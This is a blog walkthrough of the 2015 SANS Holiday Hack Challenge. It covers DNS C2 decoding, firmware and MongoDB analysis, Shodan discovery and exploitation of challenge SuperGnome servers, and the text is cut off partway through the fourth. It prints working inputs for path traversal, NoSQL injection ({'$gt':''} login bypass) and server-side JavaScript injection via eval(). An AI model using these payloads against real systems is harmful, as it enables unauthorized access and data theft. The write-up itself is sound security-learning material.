Gnome in Your Home - the Complete Solution



Each December, security training and certification company SANS puts together a highly anticipated hacking challenge. These challenges are a variation on Capture the Flag – digital puzzles designed to test our skills (and in many cases, excuses to learn new techniques). In addition to being a fun way to compete with peers, learning new attack techniques is a great first step toward learning how to detect and defend against the same attacks.

This was very much a learning experience for me. By trade, I am skilled in defensive arts - network controls, incident response, forensic analysis and malware analysis. While I am by nature a hacker (in the puzzle-solving tinkerer sense of the word) with a few CVEs to my credit, attack techniques are a very small part of my repertoire. But thanks to challenges such as these, they are a growing part of my toolkit.

The 2015 SANS Holiday Hack Challenge begins with a throwback quest-style video game, complete with awesomely cheesy 8-bit Christmas music. Themed “Gnome in Your Home,” the premise is a play on “elf on the shelf,” Santa’s diminutive spy with the impish grin.

The Gnomes are wildly popular electronic toys that just happen to be spying on the families (oddly reminiscent of a Washington Post story suggesting that Elf on the Shelf teaches kids to expect a world of constant surveillance). I am sure it is no coincidence that the gnomes evoke thoughts of Hello Barbie, Mattel's Internet-connected talking doll that has sparked considerable privacy worries this year.

The quest takes place in the imaginary neighborhood of Josh and Jessica Dosis, tech-savvy kids that did what any good hacker would do: they hacked their new Internet-connected toy to see what it was really doing. In the course of the quest, players talk to Josh and Jessica, as well as numerous SANS experts who offer tips on how to help the Dosis kids interpret what they find.


The Quest



There are 21 achievements to complete, some of which have prerequisites which must be completed first. In the map above, and in the walkthrough below, assume that up is "north."
  1. Chat with Jessica Dosis
    Jess is in the west room of Duke Dosis' home, in the northwest block of the neighborhood. After solving Part One, she will provide a firmware image for Part Two.
     
  2. Chat with Josh Dosis
    Josh is in the center room of the Dosis' home. He will provide the packet capture for Part One, and needs to know the text from the image embedded in the pcap.
     
  3. Chat with Ed Skoudis
    Ed's office is upstairs in his home, in the northwest block of the neighborhood.
     
  4. Chat with Lynn Schifano
    Lynn is waiting outside Ed Skoudis' home, where players begin the quest.
     
  5. Chat with The Intern
    The Intern is in the center of the datacenter, in the middle block of the southern street; finding him, and reporting his location to Ed Skoudis, is the final objective of the quest game. Getting to him requires obtaining the Network Operations Center (NOC) PIN code [19] and finding your way through the data maze [20].
     
  6. Chat with Tom VanNorman
    Tom is in the Industrial Control Center in the west wing of the Grand Hotel, which is in the middle block of the northern street. He needs the Christmas lights from Dan Pendolino [17]. Tom will give some advice on vulnerability discovery and exploit development.
     
  7. Chat with Tim Medin
    Tim is in the park at the southeast corner of the neighborhood. He would like a cup of hot chocolate from Cuppa Josaphine's Coffeehouse [16]. Tim teaches a bit about cross site scripting and JavaScript web attacks, which may be helpful in exploring the gnomes for vulnerabilities.
     
  8. Chat with Tom Hessman
    Tom is in the Secret Room, to the west of Ed's office (upstairs in Ed's home). As you identify IP addresses that you believe are related to the game, Tom can verify that they are in scope.
     
  9. Chat with Josh Wright
    Josh runs the Sasabune sushi restaurant in the northeast corner of the neighborhood. He would like a candy cane [15], and will then give you a gift to take to Dan Pendolino [18]. Josh wrote an article and a script useful in digging through a MongoDB database, which is relevant to the firmware in Part Two.
     
  10. Chat with Dan Pendolino
    He is in an apartment in the southwest block of the neighborhood. Dan will explain a bit about NoSQL databases, of which MongoDB is a popular example. He also points us to a useful article on NoSQL injection attacks.
     
  11. Chat with Jeff McJunkin
    Jeff is running a NetWars tournament in the conference hall, in the east wing of the Grand Hotel. He would like one of Jo Mama's cookies [14]. After he has had a cookie, Jeff will explain some basic principles of firmware analysis.
     
  12. Find the Secret Room
    This room is to the west of Ed's upstairs office; you have already been here if you spoke with Tom Hessman in [8].
     
  13. Find the Secret Secret Room
    This room is to the north of the Secret Room.
     
  14. Find Jo's Cookie
    You just found it in [13]. Now take it to 
    Jeff McJunkin in the Grand Hotel [11].
     
  15. Find the Candy Cane
    The candy cane is in the snowy field at the northwest corner of the neighborhood. Josh Wright [9] would like it to take away the taste of a sushi prank.
     
  16. Hot Chocolate
    You will find a cup of hot chocolate on the counter in Cuppa Josephine's Coffeehouse, in the southwest block of the neighborhood. Take it to Tim Medin [7].
     
  17. Holiday Lights
    The holiday lights are in Dan Pendolino's apartment [10]. Take them to Tom VanNorman in the Grand Hotel [6].
     
  18. The Gift
    After giving a candy cane to Josh Wright [9], he will give you a gift to deliver to Dan Pendolino [10].
     
  19. Find the PIN code for the NOC door
    The PIN code is on a piece of paper in the parking lot to the east of the Grand Hotel. Use the code to enter the Network Operations Center [20].
     
  20. Find your way through the NOC Data Maze.
    The secret is up, up, down, down, left, right, left, right, which will be familiar to just about any gamer.
     
  21. VICTORY!
    After speaking with The Intern, and completing every other achievement, go see Ed Skoudis one last time. He will congratulate you, and present the game credits:


Part One: Wireless Packet Analysis


Challenges:
  1. Which commands are sent across the Gnome’s command-and-control channel?
  2. What image appears in the photo the Gnome sent across the channel from the Dosis home?
Packet capture file: giyh-capture.pcap
Useful tools: ScapyWireshark

Summary: The gnomes communicate with a Command and Control server using covert DNS traffic; the DNS traffic contains base64-encoded commands from the server to the gnome, and a base64-encoded JPG image is sent from the gnome to the server.

I love that even more than most CTFs, this one is designed to appeal to kids. My 12-year-old daughter has shown an interest in cybersecurity, so this turned into a great way to teach her a few things. Even better, most of the lessons were in response to her own questions.

My tool of choice for packet analysis is Wireshark, a tool I first used when it was still called Ethereal. To understand packet analysis though, it is useful to understand a little bit about how networks work.

Traditionally, network concepts are defined in terms of "layers." At each layer, one device talks to another, and each layer does not care what is happening at the other layers. For some basic background, check out this simplified explanation I gave to my 12 year old.

Upon opening the packet capture file (known as a pcap) in Wireshark, it pretty quickly became apparent that all of the packets fall into two types – 802.11 beacon and probe frames, and DNS traffic. Since the 802.11 traffic is all local (it is a layer 1 / layer 2 protocol, after all, which defines how WiFi devices communicate with one another), we focused on the DNS traffic first. 

Viewing DNS packets in Wireshark

You may recall a previous post describing DNS as a phone book or contact list, translating human-friendly website names into computer-friendly Internet addresses. What we found was traffic between a local device 10.42.0.18 and a remote server 52.2.229.189. For kicks, I did a nslookup and a whois on the destination; it is an Amazon Web Services instance, so nothing particularly interesting at first glance.

What was interesting though was the content of the traffic. The local device repeatedly sends queries for the address of a server named cmd.sg1.atnascorp.com (which, by the way, does not resolve). The responses are, shall we say, unusual? 

The DNS standard defines a variety of "resource record" types. Some common types are "A" for a computer hostname record; "MX" for a mail server; "NS" for a name server; and "TXT" for descriptive text or comments. The first handful of DNS responses in the pcap all contain in the answer a TXT record containing “Tk9ORTo=”

A DNS packet detail shown in Wireshark

Hmm … might that be base 64-encoded data?

It is indeed. It decodes to “NONE:”. By itself, that doesn’t give us much context, but it is hardly what I would expect in response to a DNS query asking for the address of a website. 

The majority of the DNS packets contain similarly encoded responses, so the next step is to decode them all and see what is going on. I was not in the mood to decode over 500 packets by hand, so it’s time to do a little magic.

Our first approach was to use Wireshark to export the DNS records to a text file: File > Export Packet Dissections > as “Plain Text” file…

Exporting all DNS packets from Wireshark to a text file

The resulting export includes over 500 entries that look a bit like this; the bit of data we are interested in is at the bottom, after the field title "TXT:"

The content of a DNS packet, after exporting to a text file

Windows provides some useful built-in command line functions. The following command line parses the export file, extracting only the lines containing “TXT: ” then splitting those lines using a colon or space as a delimiter, and finally writing the second split field to a separate file. The result is that the value of the “TXT” field in every DNS answer record (i.e. the base64 encoded data I am interested in) is extracted to a separate file.

for /f "tokens=2 delims=: " %i in ('findstr /c:"TXT: " dns-export.txt') do echo %i >> strings.txt

The result looks a bit like this:

Tk9ORTo=
RklMRTovcm9vdC9QaWN0dXJlcy9zbmFwc2hvdF9DVVJSRU5ULmpwZwo=
RklMRTpTVEFSVF9TVEFURSxOQU1FPS9yb290L1BpY3R1cmVzL3NuYXBzaG90X0NVUlJFTlQuanBn
RklMRTpTVE9QX1NUQVRF
Tk9ORTo=

Which when piped through a base64 decoder yields:

NONE:
FILE:/root/Pictures/snapshot_CURRENT.jpg
FILE:START_STATE,NAME=/root/Pictures/snapshot_CURRENT.jpg
FILE:STOP_STATE
NONE:

However, something is missing here - there’s nothing between the file start, and the file stop commands. A closer look at the packet capture shows why: in between those two packets are a large number of DNS queries containing a slightly different data record:

Some DNS packets include a truncated TXT resource record

Note that the data field is labeled “TXT [truncated]:” instead of “TXT:

Knowing that though, now we can tweak the for loop a bit to extract all the truncated pieces:

for /f "tokens=3 delims=: " %i in ('findstr /c:"TXT [truncated]: " dns-export.txt') do echo %i >> strings.txt

One small gotcha: the last record in this sequence is not truncated. The data being sent to the DNS server was cut into smaller chunks that would fit in the size limit for a DNS record; the last piece of data did not need to be further divided, so is not truncated. It was easy enough to manually extract the final bit of base64 data and add it to the file though. The next step was to base64 decode the entire file and then attempt to open it in an image viewer.

And … nothing. The decoded data did not make up a usable JPG image. A quick binary analysis showed that the file did in fact contain markers (in the forensics world, called "magic numbers") denoting a JPG image file, but also contained repeated instances of the text string “FILE:”. Encoded at the beginning of each DNS record's TXT field was the word “FILE:” followed by a piece of the actual file. Using a hex editor, it was easy enough to remove every instance of this string, but the file still would not open.

Tim Medin's avatar in the quest mentions a blog post by Josh Wright that hints at out-of-order packets. I tried having Wireshark sort the DNS packets based on the time stamp in each record, then exported the data and repeated the above exercise, but that still did not work. My suspicion is that Wireshark applies a sort operation to the records as it displays them, but keeps the original data for exports.

This was getting rather convoluted, so I changed tactics. I had never used scapy before, but a hint within the quest suggested scapy would make this task much easier. And it did: after installing scapy on my Linux system, it took only a few lines of Python code to extract the data, decode it, remove the extraneous FILE: strings, and generate what turned out to be a proper image:

import base64
from scapy.all import rdpcap
p=rdpcap("giyh-capture.pcap")
o=sorted(p, key=lambda ts: ts.time)
y= ""
for num in range(876, 1403):
  if hasattr(o[num], "dst") and o[num].dst=="52.2.229.189" and hasattr(o[num], "an"): y += base64.b64decode(o[num].an.rdata[1:])[5:]
jpg=open("snapshot_CURRENT.jpg",'wb')
jpg.write(y)
jpg.close()

A few notes:
  • Josh Wright's blog post describes a very simple way to sort a packet capture file by time, thereby ordering the packets in the same order they were sent.
     
  • By looking at the packets in Wireshark, I see that the data I am interested in is packets 877 to 1403, where the packet is a DNS query, and the destination is 52.2.229.189. Since scapy follows common coding practice of numbers starting at 0 instead of at 1, and since its range syntax will include everything from the first number in the range, to *before* the last number in the range, I changed the offset range to be 876 to 1403.
     
  • The "rdata" field has the field length encoded in the first position, so I use an offset of 1 to skip the first byte (which is byte 0, per the above comment), then base64 decode it.
     
  • The decoded data begins with "FILE:" in each record, so I grab everything from offset 5 to end (again, "FILE:" occupies offsets 0 through 4 of each line), and append it all into one big byte-string, which I then write out to a file.

The result? A picture of a child's bedroom, with the text "GnomeNET-NorthAmerica" printed at the bottom.

The payload: a base64-encoded image of a child's bedroom

  1. Which commands are sent across the Gnome’s command-and-control channel?

    Base64-encoded as TXT records in DNS communication are the following commands:
    NONE:
    EXEC:iwconfig
    EXEC:cat /tmp/iwlistscan.txt
    FILE:/root/Pictures/snapshot_CURRENT.jpg
     
  2. What image appears in the photo the Gnome sent across the channel from the Dosis home?

    The gnome sent a photo of a child's bedroom, with the text "GnomeNET-NorthAmerica" printed at the bottom.


Part Two: Firmware Analysis for Fun and Profit


Challenges:
  1. What operating system and CPU type are used in the Gnome? What type of web framework is the Gnome web interface built in?
  2. What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?
Firmware image: giyh-firmware-dump.bin
Useful tool: binwalk

Summary: Use binwalk to extract the filesystem from a firmware image, explore the web interface, and view the contents of a NoSQL database, which includes a table with cleartext usernames and passwords.


The next two challenges are a bit more up my alley. I've done a bit of firmware analysis, primarily with wireless router firmware, and discovered several flaws in these routers. I tend to start with the web browser interface and then work my way into the device; in the case of these challenges though, I don't have a gnome in hand so have to explore only the firmware itself.

Electronic devices are essentially miniature computers, in many cases running stripped-down versions of the Linux operating system. Device firmware includes the code that makes the computer run - often including a complete compressed filesystem. 

Binwalk is an open-source, Python-based tool that can open up a firmware image and extract the individual files. I had actually used it before in examining a firmware upgrade vulnerability in Asus wireless routers. The below command line extracts (-e) files from the firmware image, then if any of the extracted files are themselves compressed, recursively (-M) opens those files too.

binwalk -Me giyh-firmware-dump.bin

As expected, the gnome firmware is in fact a Linux operating system. Binwalk extracts the contents into a new directory _giyh-firmware-dump.bin. In that folder is another folder, squashfs-root. Squashfs is a fast and lightweight filesystem for Linux; similar to many computing devices, when the device is powered on, the filesystem is extracted into memory and boots just like a small computer. For simplicity, I will refer to the squashfs-root folder in the extracted filesystem as $gnomefs for the rest of this write-up.

Where Windows uses a registry to store system settings, Linux stores settings in files in the folder "/etc." A common Linux convention is to place files named "[distribution]_release" and "[distribution]_version" in the /etc folder, with details as to the type and version of the operating system. Searching /$gnomefs/etc for files with likely names, I find openwrt_release and openwrt_version:

$gnomefs/etc# cat openwrt_release
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''

$gnomefs/etc# cat openwrt_version
r47650>

This firmware is based on the popular OpenWRT distribution of Linux. The distribution has been customized and labeled "designated driver," version r47650.

Ordinarily I would look for the file /proc/cpuinfo for details on the CPU installed, but that doesn't exist until after the system is booted. The next best option is to use the built in Unix "file" command to see the properties of an executable system file:

$gnomefs/sbin# file ifconfig
ifconfig: ELF 32-bit LSB  executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped

This file was compiled for a 32-bit ARM processor.

Next, we need to find out the "web framework" that is used by the gnomes. The firmware filesystem includes a subfolder $gnomefs/www that contains everything related to the web interface, including a subfolder "node_modules." Given this and the fact that the active files all have .js extensions, it is evident that the gnomes use node.js, a framework of commonly-used JavaScript modules with a lightweight web server.

As for the database itself, I see lots of references to mongo and mongodb in the files under $gnomefs/www, leading to the conclusion that the gnomes run MongoDB. $gnomefs/etc/mongod.conf contains the following, identifying the location of the actual database files:

storage:
  dbPath: /opt/mongodb

I am sure there are other ways to examine the contents of the database, but I found it easiest to install the mongodb-server package on my laptop and simply run the daemon (Linux-speak for a server):

sudo apt-get install mongodb-server
sudo apt-get install mongodb-client

sudo mongod --dbpath $gnomefs/opt/mongodb

This starts up a Mongo database server; with the server running, I can use the command "mongo" to start a database client from which to explore the database:

> show dbs
gnome 0.078125GB
local 0.078125GB
test (empty)

"Show dbs" gives me a list of databases contained within the files; I now want to look specifically in the database labeled gnome, then see the "collections" (similar to tables in a traditional database):

> use gnome
switched to db gnome
> show collections
cameras
settings
status
system.indexes
users

Of these collections, the "users" collection seems the most likely to be interesting, so I use the command db.[collection].find() to show the contents of the collection (somewhat akin to a select * statement in SQL):

> db.users.find()
{ "_id" : ObjectId("56229f58809473d11033515b"), "username" : "user", "password" : "user", "user_level" : 10 }
{ "_id" : ObjectId("56229f63809473d11033515c"), "username" : "admin", "password" : "SittingOnAShelf", "user_level" : 100 }

Lo and behold, the users collection includes two users - "user" and "admin," both of which have the passwords in plain text.
  1. What operating system and CPU type are used in the Gnome?  What type of web framework is the Gnome web interface built in?

    A custom OpenWRT distribution, named "designated driver," version r47650. The web interface uses Express web server running on Node.JS. The gnome firmware is designed to run on 32-bit ARM processors.

    Incidentally, the email recovered from pwning SuperGnome 02 includes a parts list that is a bit more specific: an Ambarella S2Lm IP Camera Processor System-on-Chip, with an ARM Cortex A9 CPU and Linux SDK.
     
  2. What kind of a database engine is used to support the Gnome web interface? What is the plaintext password stored in the Gnome database?

    The database engine is mongodb; the "users" collection contains records for two users, both including plaintext passwords. The plaintext password for user "admin" is "SittingOnAShelf"; the password for user "user" is "user."

Part Three: Internet-Wide Scavenger Hunt


Challenges:
  1. What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?
  2. Where is each SuperGnome located geographically?
Useful tools: ShodanBurp Proxy

Summary: Using Shodan and a unique HTTP header found on the first SuperGnome, finding all five is a snap.

The packet capture file from Part 1 gave us an IP address for a "DNS server" that doubled as a command-and-control server for the gnomes, so right off the bat that seemed a good place to start. Tom Hessman's avatar confirmed that it was in scope, so I ran a quick nmap scan against 52.2.229.189 and found only one open port - TCP port 80 (i.e. HTTP, a basic, unencrypted web server).

nmap 52.2.229.189
Starting Nmap 6.40 ( http://nmap.org ) at 2015-12-26 21:42 UTC
Nmap scan report for ec2-52-2-229-189.compute-1.amazonaws.com (52.2.229.189)
Host is up (0.079s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE
80/tcp   open   http
4242/tcp closed vrml-multi-use
5555/tcp closed freeciv

Pointing my web browser to that address, I find the first SuperGnome:

The first SuperGnome

As luck would have it, the username and password ("admin" / "SittingOnAShelf") discovered in Part 2 allow me to log into the SuperGnome. After poking around, I find that the Files View allows the logged-in administrator to download several files including gnome.conf (the "flag" requested by the next set of challenges), a zipped pcap, and several photographs - but nothing to clue me in to the other SuperGnome IP addresses.

Ah, but there is another tool at my disposal. Shodan is perhaps a security researcher's best friend: where Google and Bing are search engines for websites, Shodan is a search engine for Internet-connected devices. A basic account is free; an upgraded account normally costs $49 for a lifetime membership, but this Thanksgiving they had a Black Friday promotion, offering a lifetime membership for $5.

Shodan records HTTP "headers" - information sent back and forth between your web browser and a web site that helps the two work together. Headers specify the website name (since more than one site may be hosted at the same IP address - think of how many blogs are hosted by Google's Blogger platform, for example); the preferred language; the type and version of the web browser; the types of content that are acceptable; and various other settings. These headers are typically handled in the background and never seen by the end user - but they can be seen in a proxy such as Burp.

Using Burp Proxy, I see an unusual header - one that is likely to be unique to the Holiday Hack SuperGnomes:

X-Powered-By: GIYH::SuperGnome by AtnasCorp

A quick search for "giyh" immediately reveals all five SuperGnomes:

Shodan quickly reveals every SuperGnome on the Internet, easily pinpointing it's geographic location.

  1. What are the IP addresses of the five SuperGnomes scattered around the world, as verified by Tom Hessman in the Dosis neighborhood?

    and
      
  2. Where is each SuperGnome located geographically?

    SG1: 52.2.229.189 (Ashburn, VA, United States)
    SG2: 52.34.3.80 (Boardman, OR, United States)
    SG3: 52.64.191.71 (Sydney, Australia)
    SG4: 52.192.152.132 (Tokyo, Japan)
    SG5: 54.233.105.81 (Brazil)
After originally posting this, a reader pointed out another search engine focused on Internet of Things devices: Censys. I have not spent much time on the site, but it does identify the GiYH gnomes in much the same way as Shodan.
    Censys gives slightly more detailed genlocation data on the IP addresses: where Shodan simply reports that 54.233.105.81 is in Brazil, Censys reports the location to be São Paulo, Sao Paulo, Brazil. Curiously, Censys reports SG3 to be in Seattle, Washington, whereas Censys reports that it is in Sydney Australia. I tend to believe Shodan in this case - I suspect Censys reported the location of the company that owns the address (i.e., Amazon, which is in fact based in Seattle), while Shodan correctly located the data center in Australia.

    Regardless, there is an up-and-coming alternative to Shodan that might be useful in some cases.


    Part Four: Gnomage Pwnage


    Challenges:
    1. Please describe the vulnerabilities you discovered in the Gnome firmware.
    2. Attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file.
    Useful tools: Burp SuiteWireshark

    Each superGnome had a different vulnerability to exploit, and a different way to obtain the gnome.conf flag file. The first four required manipulating web form inputs to make use of foolish design decisions in the web interface. The last one took a different sort of expertise.


    SuperGnome 1: plaintext password in a database, and password re-use


    The first SuperGnome was something of a gimme. Firmware analysis in Part 2 revealed a username and password stored in clear text in a database on the gnome. This same username and password provided access to the SuperGnome. Logged on as administrator, I have sufficient rights to download files through the SuperGnome web UI, one of which is the gnome.conf file that is the goal. 

    SuperGnome 1 is pwned by using the admin user and password gleaned from a database in the gnome firmware

    SuperGnome 01 downloads and gnome.conf
    Gnome Serial Number: NCC1701, registry numbers familiar to Trekkies everywhere.


    SuperGnome 02: Local File Inclusion and Path Traversal


    The same username and password for SG01 works on SG02. However in this case, file downloading is disabled: 

    SuperGnome 2 uses the same admin username and password - but the download function is disabled

    While file downloads are disabled, the Settings view allows file uploads, which I could potentially use to upload a modified configuration file that re-enables file downloads. Alas there is a bug. As seen in the SETTINGS UPLOAD section of the main application script from the firmware analysis ($gnomefs/www/routes/index.js), the upload aborts unless there is an extreme amount of disk space available:

    if (free < 99999999999) {
    msgs.push('Insufficient space! File creation error!');
    }
    res.msgs = msgs;
    next();

    So uploading a file is not going to work. However, as part of the upload process - and *before* this disk space check occurs - the application creates a temporary folder, then aborts with this message:

    Abusing the settings upload function to create a new directory

    While I cannot upload a *file*, this tells me the upload *path* (/gnome/www/public/upload/<random>) -- and lets me know that I can create a new folder even if I cannot upload a file to it.

    The SETTINGS UPLOAD module of index.js uses the following logic to calculate the directory path to create:

    try {
    fs.mknewdir(dirname.substr(0,dirname.lastIndexOf('/')));
    msgs.push('Dir ' + dirname.substr(0,dirname.lastIndexOf('/')) + '/ created successfully!');

    Note that it parses the directory from the filename by using the last instance of "/" -- in other words, if I include a / in the filename, I can get it to treat my filename as a folder and attempt to create a folder of that name.

    I again thought of exploiting this to upload a gnome.conf file that enables downloads, but I still have the disk space issue to overcome. Maybe there is an easier way...

    There is an undocumented Camera view that also renders files. The web user interface does not show it, but the index.js file includes a CAMERA VIEWER module that opens files from ./public/images/:

    http://52.34.3.80/cam?camera=xyzzy

    File ./public/images/xyzzy.png does not exist or access denied!

    From the firmware structure I will assume I am in gnome/www, so can try a relative path from the camera folder.
    http://52.34.3.80/cam?camera=../../files/gnome.conf
    File ./public/images/../../files/gnome.conf.png does not exist or access denied!

    The application is adding .png to the end -- but from the firmware, it appears index.js merely looks for .png to exist somewhere in the filename. What if we add a .png to the folder structure?

    http://52.34.3.80/cam?camera=../../files/.pnggnome.conf

    File ./public/images/../../files/.pnggnome.conf does not exist or access denied!

    While this still fails, we are making progress - note that the app no longer appends .png to the filename. So ... how can we include ".png" somewhere in the filename? How about using a space, followed by .png? Might the app treat it as a separate file?

    http://52.34.3.80/cam?camera=../../files/.pnggnome.conf

    File ./public/images/../../files/.pnggnome.conf does not exist or access denied!

    Still no luck. Ah, but how about chaining things together? Can we use SETTINGS UPLOAD to create a folder .png, then traverse into and out of that folder?

    Abusing the settings upload function to create a new directory

    /gnome/www/public/upload/QJRQpBEk/.png/ created successfully.

    Now, from www/public/images, I go to ../upload/QJRQpBEk/.png/, then to ../../../../files/gnome.conf?

    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome.conf

    And...voila!

    Directory traversal plus a local file inclusion vulnerability lead to SuperGnome 2 being pwned.

    By exploiting a loophole in the file upload process that lets me create a directory of my choosing, then manipulating the file path in a query string to another module, I am able to overcome the server code intended to restrict the camera view to only camera images. After creating a folder ".png" using the settings upload feature, here are the links for all files on SuperGnome 02:

    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome.conf
    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/20150225093040.zip
    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/factory_cam_2.zip
    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/gnome_firmware_rel_notes.txt
    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/sgnet.zip
    http://52.34.3.80/cam?camera=../upload/QJRQpBEk/.png/../../../../files/sniffer_hit_list.txt

    SuperGnome 02 downloads and gnome.conf
    Gnome Serial Number: XKCD988, an appropriately seasonal XKCD reference 


    SuperGnome 03: NoSQL Injection


    This gnome took me the longest, in large part because SQL injection is not my area of expertise. In hindsight though, I had the right NoSQL Injection syntax in the first 15 minutes ... it took considerably longer to realize the server was interpreting my input as plain text instead of as query code because of the content-type in my HTTP headers.

    Unlike the other gnomes, SG03 does not accept the admin password found in the firmware database. I could login using "user" / "user" - but that user did not have high enough privileges to do anything useful. 


    Dan Pendolino's avatar recommended a blog post describing NoSQL injection attacks against MongoDB. SQL injection is a classic attack whereby a database's own query language is used against it. SQL queries give the programmer a list of everything for which the query condition is true. Let's say a program looks up a user in the database using a query such as:

    SELECT * FROM USERS WHERE USERNAME = "$username" AND PASSWORD = "$password"

    The programmer's intention is to get a list of users where the username and password match what the person logging in provides; if there are no matches in the database, the program denies access. An attacker can include a quotation mark in the username or password they supply, then add their own additional conditions -- such as "OR TRUE". Essentially that changes the query condition to always be true - thus allowing the attacker to log in without knowing an actual username and password.

    NoSQL is a newer form of database, with a different structure for retrieving data out of the database. Similar concepts still apply. The gnome index.js code has this in the LOGIN POST module:

    db.get('users').findOne({username: req.body.username, password: req.body.password}

    The syntax queries the database for the first record where username and password match what is provided by the user logging in. If an attacker can manipulate the username or password such that the conditions are always true, they can get in without knowing the password.

    In MongoDB, "$gt" is a special operator that means "greater than." By supplying as my password "$gt" : "", I essentially tell the database, "my password is something other than blank." Since the actual administrator password is in fact something other than blank, this is a true statement.

    I spent far too much time on this however, because I could not figure out how to get the application to interpret $gt as an operator instead of as a literal string. By just putting "$gt:" "" in the password field, the program was looking in the database for something with a password that was literally "$gt" "", instead of looking for a password other than blank.

    That's where another post helped me out. As written, the program was interpreting my input as plain text. However, app.js in the gnome firmware loads a module "bodyParser.json" that can handle JSON data submitted through a web form; I only had to change the content-type header in my web request, so the server interpreted my data as JSON instead of plain text.

    JSON, or JavaScript Object Notation, is a data format often used in web applications. By using Burp Proxy to intercept the request sent by my web browser, and changing the response slightly, I can tell the application to interpret my username and password as JSON data instead of plain text.

    [Original query]

    POST / HTTP/1.1
    Host: 52.64.191.71
    Content-Length: 29
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://52.64.191.71
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Referer: http://52.64.191.71/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: sessionid=VAipK4odSLgkFnciFolf
    username=admin&password=admin

    [Modified query]

    POST / HTTP/1.1
    Host: 52.64.191.71
    Content-Length: 29
    Cache-Control: max-age=0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Origin: http://52.64.191.71
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
    Content-Type: application/json
    Referer: http://52.64.191.71/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8
    Cookie: sessionid=VAipK4odSLgkFnciFolf
    {"username":"admin","password":{"$gt":""}}

    With this, I successfully logged in as the administrator, and retrieved the target gnome.conf file.

    SuperGnome 03 downloads and gnome.conf
    Gnome Serial Number: THX1138, an homage to George Lucas' first theatrical production


    SuperGnome 04: Server-Side JavaScript Injection (SSJI)


    On this SuperGnome, file downloading is enabled, but the currently-running user does not have permissions. However, the Files view allows users to upload files, and has a post-processing parameter that allows the user to specify some options (by design, whether to darken the image, or to timestamp the image):

    I can log into SuperGnome 4, but don't have permissions to the files


    The post-processing parameter is stored in a form variable "postproc", which is used by the FILES UPLOAD routine in the gnome firmware:

    if (req.file.mimetype === 'image/png') { msgs.push('Upload successful.');
      var postproc_syntax = req.body.postproc;
      console.log("File upload syntax:" + postproc_syntax);
      if (postproc_syntax != 'none' && postproc_syntax !== undefined) {
        msgs.push('Executing post process...');
        var result;
        d.run(function() {
          result = eval('(' + postproc_syntax + ')');
        });

    eval() is a JavaScript function that will run whatever is given to it, which in this case is the postproc field supplied by the form. This means the gnome application is running code supplied by the web form - in other words, running code supplied by an end user, a classic web security faux paux. Many proxies allow changing the data submitted by a form - I've used WebScarab, ParosProxy, TamperData, and Burp Proxy.

    To test this theory, I replaced the data submitted by the form with this:

    res.end(require('fs').readdirSync('.').toString())

    Instead of applying a timestamp, the application now prints the contents of the active directory to my screen:

    app.js,bin,files,node_modules,npm-debug.log,npm-debug.log.5562eeec1bba2f4ee75f12f6cf06b78a,package.json,public,routes,views

    Success! I now know I can execute code on the server by manipulating the web form data. But how to retrieve the files from the server?

    In SG02 I found that the current working directory for the program is /gnome/www. The files I want are in /gnome/www/files - and supplying this in the form data does list the files I am interested in:
    res.end(require('fs').readdirSync('./files').toString())
    20151203133815.zip,factory_cam_4.zip,gnome.conf,gnome_firmware_rel_notes.txt,sgnet.zip,sniffer_hit_list.txt

    I should be able to read the gnome.conf file with the following:
    res.end(require('fs').readfileSync('./files/gnome.conf').toString())
    but instead of giving me a file, I get

    undefined is not a function

    Hmm.  Let's see if this is a file permissions issue? Gabor Szabo wrote a helpful piece for Code Maven that explains how to get system information - including file permissions - for a file through node.js. The following command should respond with the Unix file permissions for a file or folder:
    res.end(require('fs').statSync('/gnome/www')["mode"].toString(8))
    40755

    That is a node.js mode property; the first one or two digits denote whether this is a directory [4] or a file [10]; the next digit is the "sticky bit", a feature unique to Unix which essentially says "anyone can run this program, and any files it creates will have be owned by the person that ran the program." The final three digits are the read, write, and execute permissions for the owner, the group, and "everyone else."

    755 means the owner has full control to read, write, and execute the file, while everyone else has read and execute permissions.

    Surprisingly, the same command for /gnome/www/files/gnome.conf returns 100644 - [10] for file, [0] for the sticky bit, and 644 indicating the owner can read and write, while everyone else can read the file. If I can read the file, why can I not download it?

    In retrospect, perhaps the download function is dependent on execute permissions, but I approached things from another angle. Using what I learned in conquering SuperGnome 02, I created a folder named ".png" from which to try manipulating the camera viewer:

    res.end(require('fs').mknewdir('/gnome/www/files/.png'))

    Then verify the folder was created:

    res.end(require('fs').readdirSync('/gnome/www/files').toString())

    .png,20151203133815.zip,factory_cam_4.zip,gnome.conf,gnome_firmware_rel_notes.txt,sgnet.zip,sniffer_hit_list.txt

